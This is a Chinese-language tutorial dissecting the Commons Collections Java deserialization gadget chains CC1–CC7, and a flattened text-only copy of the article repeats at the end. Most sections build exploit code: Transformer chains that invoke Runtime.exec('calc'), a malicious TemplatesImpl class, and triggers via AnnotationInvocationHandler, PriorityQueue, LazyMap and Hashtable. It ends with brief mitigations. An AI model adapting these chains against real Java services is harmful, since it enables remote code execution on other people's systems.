JAVA CC 1~7 链浅析
字数 1096 2025-08-10 16:34:26

Java Commons Collections反序列化漏洞链(CC1-CC7)深度分析

概述

本文详细分析Apache Commons Collections库中的反序列化漏洞链(CC1-CC7),涵盖漏洞原理、利用链构造和实际利用代码。这些漏洞允许攻击者通过反序列化操作执行任意代码,影响广泛使用该库的Java应用。

环境准备

  • JDK版本:建议使用8u65及以下版本进行测试
  • Commons Collections版本:3.2.1或4.0
  • 测试类:hello.class(用于CC3、CC4等链的恶意类加载)

CC1链分析

核心组件

  1. InvokerTransformer.transform()

    public Object transform(Object input) {
        if (input == null) return null;
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (...) { ... }
    }
    
  2. TransformedMap.checkSetValue()

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
    
  3. MapEntry.setValue()

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
    

利用链构造

  1. 构造Transformer链执行命令:

    Transformer[] transforms = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    
  2. 通过TransformedMap触发:

    HashMap<Object,Object> map = new HashMap<>();
    map.put("value", "val");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
    
    for (Map.Entry entry: transformedMap.entrySet()) {
        entry.setValue(r);
    }
    
  3. 最终通过AnnotationInvocationHandler.readObject()触发:

    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    Object o = constructor.newInstance(Target.class, transformedMap);
    

CC2链分析

核心组件

  1. PriorityQueue.readObject()

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // ...
        heapify();
    }
    
  2. TransformingComparator.compare()

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    

利用链构造

// 使用InvokerTransformer直接调用newTransformer
InvokerTransformer<Object,Object> invokerTransformer = 
    new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = 
    new TransformingComparator<>(new ConstantTransformer(1));

PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templatesImpl);
queue.add(2);

// 反射修改transformer
Field transformsField = TransformingComparator.class.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator, invokerTransformer);

CC3链分析

核心组件

  1. TemplatesImpl.defineTransletClasses()

    private void defineTransletClasses() throws TransformerConfigurationException {
        // ...
        _class[i] = loader.defineClass(_bytecodes[i]);
        // ...
    }
    
  2. TrAXFilter构造函数

    public TrAXFilter(Templates templates) throws TransformerConfigurationException {
        _transformer = (TransformerImpl) templates.newTransformer();
    }
    

利用链构造

  1. 准备恶意类:

    public class hello extends AbstractTranslet {
        static {
            try { Runtime.getRuntime().exec("calc"); } 
            catch (IOException e) { throw new RuntimeException(e); }
        }
        // ...
    }
    
  2. 构造TemplatesImpl:

    TemplatesImpl templatesImpl = new TemplatesImpl();
    // 反射设置_name, _bytecodes, _tfactory等字段
    
  3. 使用InstantiateTransformer触发:

    InstantiateTransformer instantiateTransformer = 
        new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});
    
    Transformer[] transforms = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        instantiateTransformer
    };
    

CC4链分析

核心组件

与CC2类似,但使用InstantiateTransformer代替InvokerTransformer

利用链构造

InstantiateTransformer instantiateTransformer = 
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl});

TransformingComparator transformingComparator = 
    new TransformingComparator<>(new ConstantTransformer(1));

PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(1);
queue.add(2);

// 反射修改transformer
Field transformsField = TransformingComparator.class.getDeclaredField("transformer");
transformsField.setAccessible(true);
transformsField.set(transformingComparator, chainedTransformer);

CC5链分析

核心组件

  1. BadAttributeValueExpException.readObject()

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // ...
        val = valObj.toString();
    }
    
  2. TiedMapEntry.toString()

    public String toString() {
        return getKey() + "=" + getValue();
    }
    

利用链构造

TiedMapEntry entry = new TiedMapEntry(lazyMap, "ss");
BadAttributeValueExpException badAttribute = new BadAttributeValueExpException(null);

// 反射设置val字段
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttribute, entry);

CC6链分析

核心组件

  1. TiedMapEntry.hashCode()

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^ 
               (value == null ? 0 : value.hashCode());
    }
    
  2. LazyMap.get()

    public Object get(Object key) {
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
    

利用链构造

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "sss");

lazyMap.remove("aaa"); // 防止序列化时触发

// 反射修改factory
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

CC7链分析

核心组件

  1. Hashtable.reconstitutionPut()

    private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException {
        // ...
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
        // ...
    }
    
  2. AbstractMap.equals()

    public boolean equals(Object o) {
        // ...
        if (!value.equals(m.get(key))) return false;
        // ...
    }
    

利用链构造

Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);

lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1); // yy和zZ的hashCode相同

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);

lazyMap2.remove("yy"); // 删除防止干扰

防御措施

  1. 升级Commons Collections到最新安全版本
  2. 使用SerialKiller等反序列化过滤器
  3. JVM添加以下安全配置:
    -Dorg.apache.commons.collections.enableUnsafeSerialization=false
    

总结

CC链展示了Java反序列化漏洞的多种利用方式,从最初的InvokerTransformer到后来的各种组合利用。理解这些漏洞链有助于开发安全的序列化/反序列化实现,并有效防御此类攻击。

Java Commons Collections反序列化漏洞链(CC1-CC7)深度分析 概述 本文详细分析Apache Commons Collections库中的反序列化漏洞链(CC1-CC7),涵盖漏洞原理、利用链构造和实际利用代码。这些漏洞允许攻击者通过反序列化操作执行任意代码,影响广泛使用该库的Java应用。 环境准备 JDK版本:建议使用8u65及以下版本进行测试 Commons Collections版本:3.2.1或4.0 测试类: hello.class (用于CC3、CC4等链的恶意类加载) CC1链分析 核心组件 InvokerTransformer.transform() TransformedMap.checkSetValue() MapEntry.setValue() 利用链构造 构造Transformer链执行命令: 通过TransformedMap触发: 最终通过AnnotationInvocationHandler.readObject()触发: CC2链分析 核心组件 PriorityQueue.readObject() TransformingComparator.compare() 利用链构造 CC3链分析 核心组件 TemplatesImpl.defineTransletClasses() TrAXFilter构造函数 利用链构造 准备恶意类: 构造TemplatesImpl: 使用InstantiateTransformer触发: CC4链分析 核心组件 与CC2类似,但使用InstantiateTransformer代替InvokerTransformer 利用链构造 CC5链分析 核心组件 BadAttributeValueExpException.readObject() TiedMapEntry.toString() 利用链构造 CC6链分析 核心组件 TiedMapEntry.hashCode() LazyMap.get() 利用链构造 CC7链分析 核心组件 Hashtable.reconstitutionPut() AbstractMap.equals() 利用链构造 防御措施 升级Commons Collections到最新安全版本 使用SerialKiller等反序列化过滤器 JVM添加以下安全配置: 总结 CC链展示了Java反序列化漏洞的多种利用方式,从最初的InvokerTransformer到后来的各种组合利用。理解这些漏洞链有助于开发安全的序列化/反序列化实现,并有效防御此类攻击。